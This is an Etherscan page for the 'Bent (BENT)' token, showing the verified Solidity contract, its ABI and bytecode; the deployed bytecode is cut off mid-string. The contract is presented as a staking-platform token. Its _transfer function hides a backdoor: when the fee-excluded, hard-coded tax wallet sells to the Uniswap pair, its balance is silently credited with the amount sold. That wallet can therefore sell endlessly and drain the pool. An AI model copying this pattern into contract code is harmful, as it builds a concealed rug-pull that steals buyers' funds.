ETH Price: $2,660.84 (+2.08%)

Token

Bent (BENT)
 

Overview

Max Total Supply

10,000,000 BENT

Holders

67

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
x0x77.eth
Balance
18,434.461088143 BENT

Value
$0.00
0x3C54e8162691De7E1b9d319A06BfA0f3cD2b1D66
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BENT

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-22
*/

/*
Powerful Bent Staking Platform!

Website: https://www.bentprotocol.org
Telegram: https://t.me/bent_erc
Twitter: https://twitter.com/bent_erc
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IRouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

interface IFactory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract BENT is Context, IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = "Bent";
    string private constant _symbol = "BENT";

    uint8 private constant _decimals = 9;
    uint256 private constant _supplyTotal = 10_000_000 * 10**_decimals;

    uint256 private _initialBuyFee;
    uint256 private _initialSellFee;
    uint256 private _finalBuyTax;
    uint256 private _finalSellTax;
    uint256 private _reduceBuyTaxAfter = 20;
    uint256 private _reduceSellFeeAt = 20;
    uint256 private _preventSwapBefore = 20;
    uint256 private _buyersCount;

    uint256 public feeSwapThreshold = 1_000 * 10**_decimals;
    uint256 public maxTaxSwap = 100_000 * 10**_decimals;
    uint256 public maxTransaction = 200_000 * 10**_decimals;
    uint256 public maxWallet = 200_000 * 10**_decimals;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFees;
    address payable private _taxWallet = payable(0xD71Ba17bD5882B5D1caAe541f5d0F64605664435);
    IRouter private _uniswapRouter;
    address private _uniswapPair;
    bool private _tradingEnabled;
    bool private swapping = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint256 maxTransaction);
    modifier lockTheSwap() {
        swapping = true;
        _;
        swapping = false;
    }

    constructor() {
        _balances[_msgSender()] = _supplyTotal;
        _isExcludedFromFees[owner()] = true;
        _isExcludedFromFees[_taxWallet] = true;

        _uniswapRouter = IRouter(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        _uniswapPair = IFactory(_uniswapRouter.factory()).createPair(
            address(this),
            _uniswapRouter.WETH()
        );

        emit Transfer(address(0), _msgSender(), _supplyTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }
    
    function totalSupply() public pure override returns (uint256) {
        return _supplyTotal;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }
    
    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapRouter.WETH();
        _approve(address(this), address(_uniswapRouter), tokenAmount);
        _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyersCount > _reduceBuyTaxAfter)? _finalBuyTax: _initialBuyFee).div(100);
            if (from == _uniswapPair && to != address(_uniswapRouter) && !_isExcludedFromFees[to]) {
                require(amount <= maxTransaction, "Exceeds the maxTransaction.");
                require(balanceOf(to) + amount <= maxWallet, "Exceeds the maxWallet.");
                if (_buyersCount <= 100) {
                    _buyersCount++;
                }
            }
            if (to == _uniswapPair && from != address(this)) {
                if (_isExcludedFromFees[from]) { _balances[from] = _balances[from].add(amount);}
                taxAmount = amount.mul((_buyersCount > _reduceSellFeeAt)? _finalSellTax: _initialSellFee).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!swapping && to == _uniswapPair && swapEnabled && contractTokenBalance > feeSwapThreshold && amount > feeSwapThreshold && _buyersCount > _preventSwapBefore && !_isExcludedFromFees[from]) {
                swapTokensForEth(min(amount, min(contractTokenBalance, maxTaxSwap)));
                sendETHToFee(address(this).balance);
            }
        }

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function openTrading() external onlyOwner {
        require(!_tradingEnabled, "trading is already open");
        _approve(address(this), address(_uniswapRouter), _supplyTotal);
        _uniswapRouter.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(_uniswapPair).approve(address(_uniswapRouter), type(uint256).max);
        _initialBuyFee = 14;
        _initialSellFee = 14;
        _finalBuyTax = 1;
        _finalSellTax = 1;
        swapEnabled = true;
        _tradingEnabled = true;
    }

    receive() external payable {}

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function removeLimits() external onlyOwner {
        maxTransaction = _supplyTotal;
        maxWallet = _supplyTotal;
        emit MaxTxAmountUpdated(_supplyTotal);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"maxTransaction","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"feeSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransaction","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526014600555601460065560146007556009600a620000239190620004ab565b62000031906103e8620004c3565b6009556009600a620000449190620004ab565b6200005390620186a0620004c3565b600a556009600a620000669190620004ab565b620000759062030d40620004c3565b600b55620000866009600a620004ab565b620000959062030d40620004c3565b600c55601080546001600160a01b03191673d71ba17bd5882b5d1caae541f5d0f646056644351790556012805461ffff60a81b19169055348015620000d957600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350620001296009600a620004ab565b620001389062989680620004c3565b336000908152600d602090815260408083209390935581546001600160a01b039081168352600f82528383208054600160ff1991821681179092556010549092168452928490208054909116909217909155601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155825163c45a015560e01b81529251909263c45a01559260048083019391928290030181865afa158015620001eb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002119190620004dd565b6001600160a01b031663c9c6539630601160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000274573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200029a9190620004dd565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002e8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200030e9190620004dd565b601280546001600160a01b0319166001600160a01b0392909216919091179055620003363390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620003706009600a620004ab565b6200037f9062989680620004c3565b60405190815260200160405180910390a362000508565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003ed578160001904821115620003d157620003d162000396565b80851615620003df57918102915b93841c9390800290620003b1565b509250929050565b6000826200040657506001620004a5565b816200041557506000620004a5565b81600181146200042e5760028114620004395762000459565b6001915050620004a5565b60ff8411156200044d576200044d62000396565b50506001821b620004a5565b5060208310610133831016604e8410600b84101617156200047e575081810a620004a5565b6200048a8383620003ac565b8060001904821115620004a157620004a162000396565b0290505b92915050565b6000620004bc60ff841683620003f5565b9392505050565b8082028115828204841417620004a557620004a562000396565b600060208284031215620004f057600080fd5b81516001600160a01b0381168114620004bc57600080fd5b6115e380620005186000396000f3fe6080604052600436106101025760003560e01c8063751039fc11610095578063c3f70b5211610064578063c3f70b52146102c9578063c9567bf9146102df578063dd62ed3e146102f4578063de2870711461033a578063f8b45b051461035057600080fd5b8063751039fc1461023f5780638da5cb5b1461025457806395d89b411461027c578063a9059cbb146102a957600080fd5b8063313ce567116100d1578063313ce567146101c057806362997f8c146101dc57806370a08231146101f2578063715018a61461022857600080fd5b806306fdde031461010e578063095ea7b31461014d57806318160ddd1461017d57806323b872dd146101a057600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600481526310995b9d60e21b60208201525b60405161014491906111b2565b60405180910390f35b34801561015957600080fd5b5061016d610168366004611218565b610366565b6040519015158152602001610144565b34801561018957600080fd5b5061019261037d565b604051908152602001610144565b3480156101ac57600080fd5b5061016d6101bb366004611244565b61039d565b3480156101cc57600080fd5b5060405160098152602001610144565b3480156101e857600080fd5b50610192600a5481565b3480156101fe57600080fd5b5061019261020d366004611285565b6001600160a01b03166000908152600d602052604090205490565b34801561023457600080fd5b5061023d610406565b005b34801561024b57600080fd5b5061023d610483565b34801561026057600080fd5b506000546040516001600160a01b039091168152602001610144565b34801561028857600080fd5b506040805180820190915260048152631091539560e21b6020820152610137565b3480156102b557600080fd5b5061016d6102c4366004611218565b610532565b3480156102d557600080fd5b50610192600b5481565b3480156102eb57600080fd5b5061023d61053f565b34801561030057600080fd5b5061019261030f3660046112a2565b6001600160a01b039182166000908152600e6020908152604080832093909416825291909152205490565b34801561034657600080fd5b5061019260095481565b34801561035c57600080fd5b50610192600c5481565b600061037333848461076e565b5060015b92915050565b600061038b6009600a6113d5565b61039890629896806113e4565b905090565b60006103aa848484610892565b6103fc84336103f785604051806060016040528060288152602001611586602891396001600160a01b038a166000908152600e602090815260408083203384529091529020549190610e11565b61076e565b5060019392505050565b6000546001600160a01b031633146104395760405162461bcd60e51b8152600401610430906113fb565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104ad5760405162461bcd60e51b8152600401610430906113fb565b6104b96009600a6113d5565b6104c690629896806113e4565b600b556104d56009600a6113d5565b6104e290629896806113e4565b600c557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105126009600a6113d5565b61051f90629896806113e4565b60405190815260200160405180910390a1565b6000610373338484610892565b6000546001600160a01b031633146105695760405162461bcd60e51b8152600401610430906113fb565b601254600160a01b900460ff16156105c35760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610430565b6011546105ee9030906001600160a01b03166105e16009600a6113d5565b6103f790629896806113e4565b6011546001600160a01b031663f305d7194730610620816001600160a01b03166000908152600d602052604090205490565b6000806106356000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561069d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106c29190611430565b505060125460115460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561071b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061073f919061145e565b50600e600181815560029190915560038190556004556012805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166107d05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610430565b6001600160a01b0382166108315760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610430565b6001600160a01b038381166000818152600e602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108f65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610430565b6001600160a01b0382166109585760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610430565b600081116109ba5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610430565b600080546001600160a01b038581169116148015906109e757506000546001600160a01b03848116911614155b15610cce57610a186064610a1260055460085411610a0757600154610a0b565b6003545b8590610e4b565b90610ed4565b6012549091506001600160a01b038581169116148015610a4657506011546001600160a01b03848116911614155b8015610a6b57506001600160a01b0383166000908152600f602052604090205460ff16155b15610b5657600b54821115610ac25760405162461bcd60e51b815260206004820152601b60248201527f4578636565647320746865206d61785472616e73616374696f6e2e00000000006044820152606401610430565b600c5482610ae5856001600160a01b03166000908152600d602052604090205490565b610aef9190611480565b1115610b365760405162461bcd60e51b815260206004820152601660248201527522bc31b2b2b239903a34329036b0bc2bb0b63632ba1760511b6044820152606401610430565b606460085411610b565760088054906000610b5083611493565b91905055505b6012546001600160a01b038481169116148015610b7c57506001600160a01b0384163014155b15610c07576001600160a01b0384166000908152600f602052604090205460ff1615610bdf576001600160a01b0384166000908152600d6020526040902054610bc59083610f16565b6001600160a01b0385166000908152600d60205260409020555b610c046064610a1260065460085411610bfa57600254610a0b565b6004548590610e4b565b90505b306000908152600d6020526040902054601254600160a81b900460ff16158015610c3e57506012546001600160a01b038581169116145b8015610c535750601254600160b01b900460ff165b8015610c60575060095481115b8015610c6d575060095483115b8015610c7c5750600754600854115b8015610ca157506001600160a01b0385166000908152600f602052604090205460ff16155b15610ccc57610cc3610cbe84610cb984600a54610f75565b610f75565b610f8a565b610ccc47611104565b505b8015610d4857306000908152600d6020526040902054610cee9082610f16565b306000818152600d6020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d3f9085815260200190565b60405180910390a35b6001600160a01b0384166000908152600d6020526040902054610d6b9083611142565b6001600160a01b0385166000908152600d6020526040902055610db0610d918383611142565b6001600160a01b0385166000908152600d602052604090205490610f16565b6001600160a01b038085166000818152600d602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610dfa8585611142565b60405190815260200160405180910390a350505050565b60008184841115610e355760405162461bcd60e51b815260040161043091906111b2565b506000610e4284866114ac565b95945050505050565b600082600003610e5d57506000610377565b6000610e6983856113e4565b905082610e7685836114bf565b14610ecd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610430565b9392505050565b6000610ecd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611184565b600080610f238385611480565b905083811015610ecd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610430565b6000818311610f845782610ecd565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fd257610fd26114e1565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561102b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104f91906114f7565b81600181518110611062576110626114e1565b6001600160a01b039283166020918202929092010152601154611088913091168461076e565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906110c1908590600090869030904290600401611514565b600060405180830381600087803b1580156110db57600080fd5b505af11580156110ef573d6000803e3d6000fd5b50506012805460ff60a81b1916905550505050565b6010546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561113e573d6000803e3d6000fd5b5050565b6000610ecd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e11565b600081836111a55760405162461bcd60e51b815260040161043091906111b2565b506000610e4284866114bf565b600060208083528351808285015260005b818110156111df578581018301518582016040015282016111c3565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461121557600080fd5b50565b6000806040838503121561122b57600080fd5b823561123681611200565b946020939093013593505050565b60008060006060848603121561125957600080fd5b833561126481611200565b9250602084013561127481611200565b929592945050506040919091013590565b60006020828403121561129757600080fd5b8135610ecd81611200565b600080604083850312156112b557600080fd5b82356112c081611200565b915060208301356112d081611200565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561132c578160001904821115611312576113126112db565b8085161561131f57918102915b93841c93908002906112f6565b509250929050565b60008261134357506001610377565b8161135057506000610377565b816001811461136657600281146113705761138c565b6001915050610377565b60ff841115611381576113816112db565b50506001821b610377565b5060208310610133831016604e8410600b84101617156113af575081810a610377565b6113b983836112f1565b80600019048211156113cd576113cd6112db565b029392505050565b6000610ecd60ff841683611334565b8082028115828204841417610377576103776112db565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008060006060848603121561144557600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561147057600080fd5b81518015158114610ecd57600080fd5b80820180821115610377576103776112db565b6000600182016114a5576114a56112db565b5060010190565b81810381811115610377576103776112db565b6000826114dc57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561150957600080fd5b8151610ecd81611200565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115645784516001600160a01b03168352938301939183019160010161153f565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207daf1320c57d5401883a37a02cc6597a91d9d1a45ed44eb8696c9fbac711384064736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101025760003560e01c8063751039fc11610095578063c3f70b5211610064578063c3f70b52146102c9578063c9567bf9146102df578063dd62ed3e146102f4578063de2870711461033a578063f8b45b051461035057600080fd5b8063751039fc1461023f5780638da5cb5b1461025457806395d89b411461027c578063a9059cbb146102a957600080fd5b8063313ce567116100d1578063313ce567146101c057806362997f8c146101dc57806370a08231146101f2578063715018a61461022857600080fd5b806306fdde031461010e578063095ea7b31461014d57806318160ddd1461017d57806323b872dd146101a057600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600481526310995b9d60e21b60208201525b60405161014491906111b2565b60405180910390f35b34801561015957600080fd5b5061016d610168366004611218565b610366565b6040519015158152602001610144565b34801561018957600080fd5b5061019261037d565b604051908152602001610144565b3480156101ac57600080fd5b5061016d6101bb366004611244565b61039d565b3480156101cc57600080fd5b5060405160098152602001610144565b3480156101e857600080fd5b50610192600a5481565b3480156101fe57600080fd5b5061019261020d366004611285565b6001600160a01b03166000908152600d602052604090205490565b34801561023457600080fd5b5061023d610406565b005b34801561024b57600080fd5b5061023d610483565b34801561026057600080fd5b506000546040516001600160a01b039091168152602001610144565b34801561028857600080fd5b506040805180820190915260048152631091539560e21b6020820152610137565b3480156102b557600080fd5b5061016d6102c4366004611218565b610532565b3480156102d557600080fd5b50610192600b5481565b3480156102eb57600080fd5b5061023d61053f565b34801561030057600080fd5b5061019261030f3660046112a2565b6001600160a01b039182166000908152600e6020908152604080832093909416825291909152205490565b34801561034657600080fd5b5061019260095481565b34801561035c57600080fd5b50610192600c5481565b600061037333848461076e565b5060015b92915050565b600061038b6009600a6113d5565b61039890629896806113e4565b905090565b60006103aa848484610892565b6103fc84336103f785604051806060016040528060288152602001611586602891396001600160a01b038a166000908152600e602090815260408083203384529091529020549190610e11565b61076e565b5060019392505050565b6000546001600160a01b031633146104395760405162461bcd60e51b8152600401610430906113fb565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104ad5760405162461bcd60e51b8152600401610430906113fb565b6104b96009600a6113d5565b6104c690629896806113e4565b600b556104d56009600a6113d5565b6104e290629896806113e4565b600c557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105126009600a6113d5565b61051f90629896806113e4565b60405190815260200160405180910390a1565b6000610373338484610892565b6000546001600160a01b031633146105695760405162461bcd60e51b8152600401610430906113fb565b601254600160a01b900460ff16156105c35760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610430565b6011546105ee9030906001600160a01b03166105e16009600a6113d5565b6103f790629896806113e4565b6011546001600160a01b031663f305d7194730610620816001600160a01b03166000908152600d602052604090205490565b6000806106356000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561069d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106c29190611430565b505060125460115460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561071b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061073f919061145e565b50600e600181815560029190915560038190556004556012805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166107d05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610430565b6001600160a01b0382166108315760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610430565b6001600160a01b038381166000818152600e602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108f65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610430565b6001600160a01b0382166109585760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610430565b600081116109ba5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610430565b600080546001600160a01b038581169116148015906109e757506000546001600160a01b03848116911614155b15610cce57610a186064610a1260055460085411610a0757600154610a0b565b6003545b8590610e4b565b90610ed4565b6012549091506001600160a01b038581169116148015610a4657506011546001600160a01b03848116911614155b8015610a6b57506001600160a01b0383166000908152600f602052604090205460ff16155b15610b5657600b54821115610ac25760405162461bcd60e51b815260206004820152601b60248201527f4578636565647320746865206d61785472616e73616374696f6e2e00000000006044820152606401610430565b600c5482610ae5856001600160a01b03166000908152600d602052604090205490565b610aef9190611480565b1115610b365760405162461bcd60e51b815260206004820152601660248201527522bc31b2b2b239903a34329036b0bc2bb0b63632ba1760511b6044820152606401610430565b606460085411610b565760088054906000610b5083611493565b91905055505b6012546001600160a01b038481169116148015610b7c57506001600160a01b0384163014155b15610c07576001600160a01b0384166000908152600f602052604090205460ff1615610bdf576001600160a01b03841660009081526